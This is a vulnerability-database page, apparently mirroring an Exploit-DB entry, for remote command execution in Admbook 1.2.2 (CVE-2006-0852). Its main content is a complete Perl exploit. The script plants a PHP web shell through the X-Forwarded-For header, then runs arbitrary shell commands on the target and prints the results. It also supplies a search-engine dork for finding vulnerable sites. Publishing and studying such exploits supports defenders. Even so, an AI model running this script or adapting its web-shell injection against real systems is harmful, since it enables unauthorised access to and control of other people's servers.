Lucene search
+L

Admbook 1.2.2 - 'x-forwarded-for' Remote Command Execution

🗓️ 19 Feb 2006 00:00:00Reported by rgodType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 40 Views

Admbook 1.2.2 'x-forwarded-for' Remote Command Executio

Related
Code
ReporterTitlePublishedViews
Family
nessus
Tenable Nessus
Admbook content-data.php X-Forwarded-For Header Arbitrary PHP Code Injection
15 Mar 200600:00
nessus
cve
CVE
CVE-2006-0852
23 Feb 200602:00
cve
cvelist
Cvelist
CVE-2006-0852
23 Feb 200602:00
cvelist
euvd
EUVD
EUVD-2006-0857
7 Oct 202500:30
euvd
nvd
NVD
CVE-2006-0852
23 Feb 200602:06
nvd
openvas
OpenVAS
Admbook PHP Code Injection Flaw
24 Oct 200800:00
openvas
openvas
OpenVAS
Admbook PHP Code Injection Flaw
24 Oct 200800:00
openvas
prion
Prion
Code injection
23 Feb 200602:06
prion
#!/usr/bin/perl -w
use IO::Socket;

print "*************************************************************************\r\n";
print "|            Admbook <=1.2.2 X-Forwarded-For cmmnds xctn xploit        |\r\n";
print "|                     By rgod rgod<AT>autistici<DOT>org                |\r\n";
print "|                   site: http://retrogod.altervista.org               |\r\n";
print "|                                                                      |\r\n";
print "| Sun-Tzu: \"Rouse him, and learn the principle of his  activity  or    |\r\n";
print "| inactivity.  Force him to reveal himself,  so as to find out  his    |\r\n";
print "| vulnerable spots.\"                                                   |\r\n";
print "*************************************************************************\r\n";
print "| dork:  intitle:admbook intitle:version filetype:php                   |\r\n";
print "*************************************************************************\r\n";
sub main::urlEncode {
    my ($string) = @_;
    $string =~ s/(\W)/"%" . unpack("H2", $1)/ge;
    #$string# =~ tr/.//;
    return $string;
 }

$serv=$ARGV[0];
$path=$ARGV[1];
$cmd=""; for ($i=2; $i<=$#ARGV; $i++) {$cmd.="%20".urlEncode($ARGV[$i]);};

if (@ARGV < 3)
{
print "Usage:\r\n";
print "perl admbook_122_xpl.pl SERVER PATH COMMAND\r\n\r\n";
print "SERVER         - Server where AdmBook is installed.\r\n";
print "PATH           - Path to AdmBook (ex: /admbook/ or just /) \r\n";
print "COMMAND        - A shell command \r\n";
print "Example:\r\n";
print "perl admbook_122_xpl.pl localhost /admbook/ ls -la\r\n";
exit();
}

$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", Timeout  => 10, PeerPort=>"http(80)")
or die "[+] Connecting ... Could not connect to host.\n\n";

$SHELL='";if (isset($_GET[CMD])){ECHO"Hi Master!";INI_SET("max_execution_time",0);PASSTHRU($_GET[CMD]);DIE;}echo"';
$data="page=1";
$data.="&name=whoami";
$data.="&url=";
$data.="&email=whoami\@SUNTZU.COM";
$data.="&icq=";
$message=urlEncode("I love italian guys!");
$data.="&message=".$message;
print $sock "POST ".$path."write.php HTTP/1.1\r\n";
print $sock "Referer: http://".$serv.$path."index.php\r\n";
print $sock "X-Forwarded-For: GUESS_WHAT:".$SHELL."\r\n";
print $sock "Content-Type: application/x-www-form-urlencoded\r\n";
print $sock "User-Agent: sun-tzu\r\n";
print $sock "Content-Length: ".length($data)."\r\n";
print $sock "Host: ".$serv."\r\n";
print $sock "Connection: Close\r\n\r\n";
print $sock $data;
close($sock);

sleep(2);

$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", Timeout  => 10, PeerPort=>"http(80)")
or die "[+] Connecting ... Could not connect to host.\n\n";

print $sock "GET ".$path."content-data.php?CMD=".$cmd." HTTP/1.1\r\n";
print $sock "Host: ".$serv."\r\n";
print $sock "Connection: close\r\n\r\n";

while ($answer = <$sock>) {
  print $answer;
}
close($sock);

# milw0rm.com [2006-02-19]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

19 Feb 2006 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.02729
40